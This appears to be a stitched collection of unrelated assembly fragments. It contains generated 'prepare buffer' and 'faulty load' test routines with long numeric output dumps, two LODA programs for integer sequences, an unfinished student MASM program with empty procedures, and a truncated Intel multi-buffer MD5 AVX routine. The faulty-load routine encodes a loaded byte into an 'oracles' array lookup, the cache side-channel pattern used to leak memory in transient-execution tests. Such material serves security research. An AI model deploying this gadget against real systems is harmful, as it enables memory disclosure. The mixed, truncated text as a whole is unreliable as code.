{'type': 'addresses_RW', 'same': False, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC', 'same': False, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WC', 'same': False, 'size': 8, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_A', 'same': False, 'size': 1, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_A', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_A', 'congruent': 11, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_PSE', 'same': False, 'size': 2, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_RW', 'same': False, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_RW', 'same': False, 'size': 16, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_P', 'same': False, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_RW', 'same': True, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_WC_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_D_ht', 'same': True, 'size': 16, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 1, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_WT_ht', 'same': True, 'size': 2, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 32, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 32, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'32': 21829} 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 */
; A205646: Number of empty faces in Freij's family of Hansen polytopes. ; 17,19,25,43,97,259,745,2203,6577,19699,59065,177163,531457,1594339,4782985,14348923,43046737,129140179,387420505,1162261483,3486784417,10460353219,31381059625,94143178843,282429536497,847288609459,2541865828345,7625597485003 mov $1,3 pow $1,$0 add $1,16
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r15 push %r8 push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_UC_ht+0x10d78, %rdx nop cmp %r15, %r15 mov $0x6162636465666768, %r8 movq %r8, %xmm1 movups %xmm1, (%rdx) cmp $7121, %rbp lea addresses_WT_ht+0x16ae3, %rsi lea addresses_WT_ht+0x3d38, %rdi clflush (%rdi) nop and $60123, %r12 mov $71, %rcx rep movsl nop xor $36542, %r12 lea addresses_A_ht+0x4ecc, %rsi nop nop nop nop nop xor %rbp, %rbp movb (%rsi), %r8b nop nop nop nop nop dec %r15 lea addresses_A_ht+0x19538, %r15 nop inc %rbp movb (%r15), %r8b nop nop nop dec %rsi lea addresses_normal_ht+0x19538, %r8 nop cmp %rdi, %rdi mov (%r8), %bp nop sub $4679, %r12 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %r8 pop %r15 pop %r12 ret .global s_faulty_load s_faulty_load: push %r12 push %r15 push %r8 push %r9 push %rbx push %rcx push %rdi push %rsi // Store lea addresses_PSE+0xde38, %r15 nop nop nop add $9377, %r9 movw $0x5152, (%r15) nop nop nop inc %r9 // REPMOV lea addresses_WT+0x1a898, %rsi lea addresses_WC+0x18538, %rdi nop nop nop cmp %r9, %r9 mov $127, %rcx rep movsl nop cmp $31241, %r12 // Faulty Load lea addresses_WC+0x18538, %rcx nop nop nop nop nop inc %rbx mov (%rcx), %r12w lea oracles, %r9 and $0xff, %r12 shlq $12, %r12 mov (%r9,%r12,1), %r12 pop %rsi pop %rdi pop %rcx pop %rbx pop %r9 pop %r8 pop %r15 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_WC', 'congruent': 0}} {'dst': {'same': False, 'NT': False, 'AVXalign': True, 'size': 2, 'type': 'addresses_PSE', 'congruent': 8}, 'OP': 'STOR'} {'dst': {'same': True, 'congruent': 0, 'type': 'addresses_WC'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 5, 'type': 'addresses_WT'}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_WC', 'congruent': 0}} <gen_prepare_buffer> {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_UC_ht', 'congruent': 5}, 'OP': 'STOR'} {'dst': {'same': False, 'congruent': 11, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 0, 'type': 'addresses_WT_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'NT': True, 'AVXalign': False, 'size': 1, 'type': 'addresses_A_ht', 'congruent': 1}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_A_ht', 'congruent': 10}} {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_normal_ht', 'congruent': 11}} {'39': 21829} 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 */
TITLE CompoPrinter (project4.asm) ; Description: A program to practice if, else if, and else in assembly INCLUDE Irvine32.inc LOWER_LIMIT = 300 UPPER_LIMIT = 1 .data ; text to be printed to screen hello BYTE "Welcome to the CompoPrinter created by Ahmad El-Bobou!", 0 explanation BYTE "This program prints up to 300 composite numbers.", 0 instrs BYTE "Enter the number of composite numbers you'd like to see in the range [1 .. 300].", 0 prompt BYTE "How many numbers [1 ... 300] would you like to see listed?: ", 0 goodbye_msg BYTE "Thanks for using the CompoPrinter" spaces BYTE " ", 0 ; error messages out_of_range BYTE "You've entered a number out of range! Please try again.", 0 ; arithmetic variables composite_bool BYTE 0 num_chosen DWORD ? line_num BYTE 0 current_num DWORD 4 .code main PROC call introduction call getUserInput call showComposites call goodbye exit ; exit to operating system main ENDP ; introduce the program introduction PROC mov edx, offset hello call WriteString call CrLf mov edx, offset explanation call WriteString call CrLf introduction ENDP ; validates user input validate PROC validate ENDP ; gets user input getUserInput PROC mov edx, offset instrs call WriteString call CrLf call validate getUserInput ENDP ; checks if number is composite isComposite PROC isComposite ENDP ; Prints the composite numbers showComposites PROC call isComposite showComposites ENDP ; says goodbye goodbye PROC mov edx, offset goodbye_msg call WriteString call CrLf goodbye ENDP END main
; A017789: Binomial coefficients C(73,n). ; 1,73,2628,62196,1088430,15020334,170230452,1629348612,13442126049,97082021465,621324937376,3558497368608,18385569737808,86270750308176,369731787035040,1454278362337824,5271759063474612,17675898036356052,54991682779774384,159186450151978480,429803415410341896,1084741953178481928,2563935525694593648,5685248339583664176,11844267374132633700,23214764053299962052,42858025944553776096,74604711829408425056,122564883719742412592,190186888530634778160,278940769844931007968,386917842042968817504 mov $1,73 bin $1,$0 mov $0,$1
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Copyright(c) 2011-2016 Intel Corporation All rights reserved. ; ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions ; are met: ; * Redistributions of source code must retain the above copyright ; notice, this list of conditions and the following disclaimer. ; * Redistributions in binary form must reproduce the above copyright ; notice, this list of conditions and the following disclaimer in ; the documentation and/or other materials provided with the ; distribution. ; * Neither the name of Intel Corporation nor the names of its ; contributors may be used to endorse or promote products derived ; from this software without specific prior written permission. ; ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ; "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT ; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR ; A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT ; OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, ; SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT ; LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, ; DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY ; THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT ; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; %include "md5_mb_mgr_datastruct.asm" %include "reg_sizes.asm" [bits 64] default rel section .text ; clobbers all XMM registers ; clobbers all GPRs except arg1 and r8 ;; code to compute octal MD5 using AVX ; clobbers all XMM registers ; clobbers all GPRs except arg1 and r8 ; transpose r0, r1, r2, r3, t0, t1 ; "transpose" data in {r0..r3} using temps {t0..t3} ; Input looks like: {r0 r1 r2 r3} ; r0 = {a3 a2 a1 a0} ; r1 = {b3 b2 b1 b0} ; r2 = {c3 c2 c1 c0} ; r3 = {d3 d2 d1 d0} ; ; output looks like: {t0 r1 r0 r3} ; t0 = {d0 c0 b0 a0} ; r1 = {d1 c1 b1 a1} ; r0 = {d2 c2 b2 a2} ; r3 = {d3 c3 b3 a3} ; %macro TRANSPOSE 6 %define %%r0 %1 %define %%r1 %2 %define %%r2 %3 %define %%r3 %4 %define %%t0 %5 %define %%t1 %6 vshufps %%t0, %%r0, %%r1, 0x44 ; t0 = {b1 b0 a1 a0} vshufps %%r0, %%r0, %%r1, 0xEE ; r0 = {b3 b2 a3 a2} vshufps %%t1, %%r2, %%r3, 0x44 ; t1 = {d1 d0 c1 c0} vshufps %%r2, %%r2, %%r3, 0xEE ; r2 = {d3 d2 c3 c2} vshufps %%r1, %%t0, %%t1, 0xDD ; r1 = {d1 c1 b1 a1} vshufps %%r3, %%r0, %%r2, 0xDD ; r3 = {d3 c3 b3 a3} vshufps %%r0, %%r0, %%r2, 0x88 ; r0 = {d2 c2 b2 a2} vshufps %%t0, %%t0, %%t1, 0x88 ; t0 = {d0 c0 b0 a0} %endmacro ;; ;; Magic functions defined in RFC 1321 ;; ; macro MAGIC_F F,X,Y,Z ;; F = ((Z) ^ ((X) & ((Y) ^ (Z)))) %macro MAGIC_F 4 %define %%F %1 %define %%X %2 %define %%Y %3 %define %%Z %4 ;movdqa %%F,%%Z vpxor %%F,%%Z, %%Y vpand %%F,%%F,%%X vpxor %%F,%%F,%%Z %endmacro ; macro MAGIC_G F,X,Y,Z ;; F = F((Z),(X),(Y)) %macro MAGIC_G 4 %define %%F %1 %define %%X %2 %define %%Y %3 %define %%Z %4 MAGIC_F %%F,%%Z,%%X,%%Y %endmacro ; macro MAGIC_H F,X,Y,Z ;; F = ((X) ^ (Y) ^ (Z)) %macro MAGIC_H 4 %define %%F %1 %define %%X %2 %define %%Y %3 %define %%Z %4 ;movdqa %%F,%%Z vpxor %%F,%%Z, %%Y vpxor %%F,%%F, %%X %endmacro ; macro MAGIC_I F,X,Y,Z ;; F = ((Y) ^ ((X) | ~(Z))) %macro MAGIC_I 4 %define %%F %1 %define %%X %2 %define %%Y %3 %define %%Z %4 vpcmpeqd %%F,%%F,%%F ; 0xFFFF vpxor %%F,%%F,%%Z ; pnot %%Z vpor %%F,%%F,%%X vpxor %%F,%%F,%%Y %endmacro ; PROLD reg, imm, tmp %macro PROLD 3 %define %%reg %1 %define %%imm %2 %define %%tmp %3 ;movdqa %%tmp, %%reg vpsrld %%tmp, %%reg, (32-%%imm) vpslld %%reg, %%reg, %%imm vpor %%reg, %%reg, %%tmp %endmacro ;; ;; single MD5 step ;; ;; A = B +ROL32((A +MAGIC(B,C,D) +data +const), nrot) ;; ; macro MD5_STEP1 MAGIC_FUN, A,B,C,D, A2,B2,C3,D2, FUN, TMP, data, MD5const, nrot %macro MD5_STEP1 14 %define %%MAGIC_FUN %1 %define %%A %2 %define %%B %3 %define %%C %4 %define %%D %5 %define %%A2 %6 %define %%B2 %7 %define %%C2 %8 %define %%D2 %9 %define %%FUN %10 %define %%TMP %11 %define %%data %12 %define %%MD5const %13 %define %%nrot %14 vpaddd %%A, %%A, %%MD5const vpaddd %%A2, %%A2, %%MD5const vpaddd %%A, %%A, [%%data] vpaddd %%A2, %%A2, [%%data + 16*16] %%MAGIC_FUN %%FUN, %%B,%%C,%%D vpaddd %%A, %%A, %%FUN %%MAGIC_FUN %%FUN, %%B2,%%C2,%%D2 vpaddd %%A2, %%A2, %%FUN PROLD %%A,%%nrot, %%TMP PROLD %%A2,%%nrot, %%TMP vpaddd %%A, %%A, %%B vpaddd %%A2, %%A2, %%B2 %endmacro ;; ;; single MD5 step ;; ;; A = B +ROL32((A +MAGIC(B,C,D) +data +const), nrot) ;; ; macro MD5_STEP MAGIC_FUN, A,B,C,D, A2,B2,C3,D2, FUN, TMP, FUN2, TMP2, data, ; MD5const, nrot %macro MD5_STEP 16 %define %%MAGIC_FUN %1 %define %%A %2 %define %%B %3 %define %%C %4 %define %%D %5 %define %%A2 %6 %define %%B2 %7 %define %%C2 %8 %define %%D2 %9 %define %%FUN %10 %define %%TMP %11 %define %%FUN2 %12 %define %%TMP2 %13 %define %%data %14 %define %%MD5const %15 %define %%nrot %16 vmovdqa %%TMP,[%%data] vmovdqa %%TMP2,[%%data + 16*16] vpaddd %%A, %%A, %%MD5const vpaddd %%A2, %%A2, %%MD5const vpaddd %%A, %%A, %%TMP vpaddd %%A2, %%A2, %%TMP2 %%MAGIC_FUN %%FUN, %%B,%%C,%%D %%MAGIC_FUN %%FUN2, %%B2,%%C2,%%D2 vpaddd %%A, %%A, %%FUN vpaddd %%A2, %%A2, %%FUN2 PROLD %%A,%%nrot, %%TMP PROLD %%A2,%%nrot, %%TMP2 vpaddd %%A, %%A, %%B vpaddd %%A2, %%A2, %%B2 %endmacro ;; ;; MD5 left rotations (number of bits) ;; rot11 equ 7 rot12 equ 12 rot13 equ 17 rot14 equ 22 rot21 equ 5 rot22 equ 9 rot23 equ 14 rot24 equ 20 rot31 equ 4 rot32 equ 11 rot33 equ 16 rot34 equ 23 rot41 equ 6 rot42 equ 10 rot43 equ 15 rot44 equ 21 %define A xmm0 %define B xmm1 %define C xmm2 %define D xmm3 %define E xmm4 ; tmp %define F xmm5 ; tmp %define A2 xmm6 %define B2 xmm7 %define C2 xmm8 %define D2 xmm9 %define FUN E %define TMP F %define FUN2 xmm10 %define TMP2 xmm11 %define T0 xmm10 %define T1 xmm11 %define T2 xmm12 %define T3 xmm13 %define T4 xmm14 %define T5 xmm15 %ifidn __OUTPUT_FORMAT__, elf64 ;; Linux Registers %define arg1 rdi %define arg2 rsi %define inp7 rcx %define mem1 rdx %else ;; Windows Registers %define arg1 rcx %define arg2 rdx %define inp7 rdi %define mem1 rsi %endif ; r8 is not used ; Common definitions %define inp0 r9 %define inp1 r10 %define inp2 r11 %define inp3 r12 %define inp4 r13 %define inp5 r14 %define inp6 r15 %define TBL rax %define IDX rbx %define mem2 rbp ; Stack Layout ; ; 470 DD2 ; 460 CC2 ; 450 BB2 ; 440 AA2 ; 430 DD ; 420 CC ; 410 BB ; 400 AA ; ; 3F0 data2[15] for lanes 7...4 \ ; ... \ ; 300 data2[0] for lanes 7...4 \ ; 2F0 data2[15] for lanes 3...0 > mem block 2 ; ... / ; 210 data2[1] for lanes 3...0 / ; 200 data2[0] for lanes 3...0 / ; ; 1F0 data1[15] for lanes 7...4 \ ; ... \ ; 100 data1[0] for lanes 7...4 \ ; F0 data1[15] for lanes 3...0 > mem block 1 ; ... / ; 10 data1[1] for lanes 3...0 / ; 0 data1[0] for lanes 3...0 / MEM equ 16*16*2*2 ; two blocks of data stored in stack ; STACK_SIZE must be an odd multiple of 8 bytes in size STACK_SIZE equ MEM + 16*8 + 8 %define AA rsp + MEM + 16*0 %define BB rsp + MEM + 16*1 %define CC rsp + MEM + 16*2 %define DD rsp + MEM + 16*3 %define AA2 rsp + MEM + 16*4 %define BB2 rsp + MEM + 16*5 %define CC2 rsp + MEM + 16*6 %define DD2 rsp + MEM + 16*7 ;;%define DIGEST_SIZE (8*4*4) ; 8 streams x 4 32bit words per digest x 4 bytes per word ;#define NUM_MD5_DIGEST_WORDS 4 ;#define NUM_LANES 8 ;#define MD5_BLOCK_SIZE 64 ; ;typedef UINT32 digest_array[NUM_MD5_DIGEST_WORDS][NUM_LANES]; ; ;typedef struct { ; DECLARE_ALIGNED(digest_array digest, 16); ; UINT8* data_ptr[NUM_LANES]; ;} MD5_ARGS_X8; ; void md5_mb_x4x2_avx(MD5_ARGS_X8 *args, UINT64 size) ; arg 1 : pointer to MD5_ARGS_X8 structure ; arg 2 : size (in blocks) ;; assumed to be >= 1 ; ; arg1 and r8 are maintained by this function ; align 32 mk_global md5_mb_x4x2_avx, function, internal md5_mb_x4x2_avx: endbranch sub rsp, STACK_SIZE ;; Initialize digests vmovdqu A,[arg1+0*16] vmovdqu B,[arg1+2*16] vmovdqu C,[arg1+4*16] vmovdqu D,[arg1+6*16] vmovdqu A2,[arg1+1*16] vmovdqu B2,[arg1+3*16] vmovdqu C2,[arg1+5*16] vmovdqu D2,[arg1+7*16] lea TBL, [MD5_TABLE] ;; load input pointers mov inp0,[arg1 + _data_ptr + 0*8] mov inp1,[arg1 + _data_ptr + 1*8] mov inp2,[arg1 + _data_ptr + 2*8] mov inp3,[arg1 + _data_ptr + 3*8] mov inp4,[arg1 + _data_ptr + 4*8] mov inp5,[arg1 + _data_ptr + 5*8] mov inp6,[arg1 + _data_ptr + 6*8] mov inp7,[arg1 + _data_ptr + 7*8] xor IDX, IDX ; Make ping-pong pointers to the two memory blocks mov mem1, rsp lea mem2, [rsp + 16*16*2] ;; Load first block of data and save back to stack %assign I 0 %rep 4 vmovdqu T2,[inp0+IDX+I*16] vmovdqu T1,[inp1+IDX+I*16] vmovdqu T4,[inp2+IDX+I*16] vmovdqu T3,[inp3+IDX+I*16] TRANSPOSE T2, T1, T4, T3, T0, T5 vmovdqa [mem1+(I*4+0)*16],T0 vmovdqa [mem1+(I*4+1)*16],T1 vmovdqa [mem1+(I*4+2)*16],T2 vmovdqa [mem1+(I*4+3)*16],T3 vmovdqu T2,[inp4+IDX+I*16] vmovdqu T1,[inp5+IDX+I*16] vmovdqu T4,[inp6+IDX+I*16] vmovdqu T3,[inp7+IDX+I*16] TRANSPOSE T2, T1, T4, T3, T0, T5 vmovdqa [mem1+(I*4+0)*16 + 16*16],T0 vmovdqa [mem1+(I*4+1)*16 + 16*16],T1 vmovdqa [mem1+(I*4+2)*16 + 16*16],T2 vmovdqa [mem1+(I*4+3)*16 + 16*16],T3 %assign I (I+1) %endrep lloop: ; save old digests vmovdqa [AA], A vmovdqa [BB], B vmovdqa [CC], C vmovdqa [DD], D ; save old digests vmovdqa [AA2], A2 vmovdqa [BB2], B2 vmovdqa [CC2], C2 vmovdqa [DD2], D2 add IDX, 4*16 sub arg2, 1 je lastblock MD5_STEP1 MAGIC_F, A,B,C,D, A2,B2,C2,D2, FUN,TMP, mem1+ 0*16, [TBL+ 0*16], rot11 MD5_STEP1 MAGIC_F, D,A,B,C, D2,A2,B2,C2, FUN,TMP, mem1+ 1*16, [TBL+ 1*16], rot12 MD5_STEP1 MAGIC_F, C,D,A,B, C2,D2,A2,B2, FUN,TMP, mem1+ 2*16, [TBL+ 2*16], rot13 MD5_STEP1 MAGIC_F, B,C,D,A, B2,C2,D2,A2, FUN,TMP, mem1+ 3*16, [TBL+ 3*16], rot14 MD5_STEP1 MAGIC_F, A,B,C,D, A2,B2,C2,D2, FUN,TMP, mem1+ 4*16, [TBL+ 4*16], rot11 MD5_STEP1 MAGIC_F, D,A,B,C, D2,A2,B2,C2, FUN,TMP, mem1+ 5*16, [TBL+ 5*16], rot12 MD5_STEP1 MAGIC_F, C,D,A,B, C2,D2,A2,B2, FUN,TMP, mem1+ 6*16, [TBL+ 6*16], rot13 MD5_STEP1 MAGIC_F, B,C,D,A, B2,C2,D2,A2, FUN,TMP, mem1+ 7*16, [TBL+ 7*16], rot14 %assign I 0 vmovdqu T2,[inp0+IDX+I*16] vmovdqu T1,[inp1+IDX+I*16] vmovdqu T4,[inp2+IDX+I*16] vmovdqu T3,[inp3+IDX+I*16] TRANSPOSE T2, T1, T4, T3, T0, T5 vmovdqa [mem2+(I*4+0)*16],T0 vmovdqa [mem2+(I*4+1)*16],T1 vmovdqa [mem2+(I*4+2)*16],T2 vmovdqa [mem2+(I*4+3)*16],T3 MD5_STEP1 MAGIC_F, A,B,C,D, A2,B2,C2,D2, FUN,TMP, mem1+ 8*16, [TBL+ 8*16], rot11 MD5_STEP1 MAGIC_F, D,A,B,C, D2,A2,B2,C2, FUN,TMP, mem1+ 9*16, [TBL+ 9*16], rot12 MD5_STEP1 MAGIC_F, C,D,A,B, C2,D2,A2,B2, FUN,TMP, mem1+10*16, [TBL+10*16], rot13 MD5_STEP1 MAGIC_F, B,C,D,A, B2,C2,D2,A2, FUN,TMP, mem1+11*16, [TBL+11*16], rot14 MD5_STEP1 MAGIC_F, A,B,C,D, A2,B2,C2,D2, 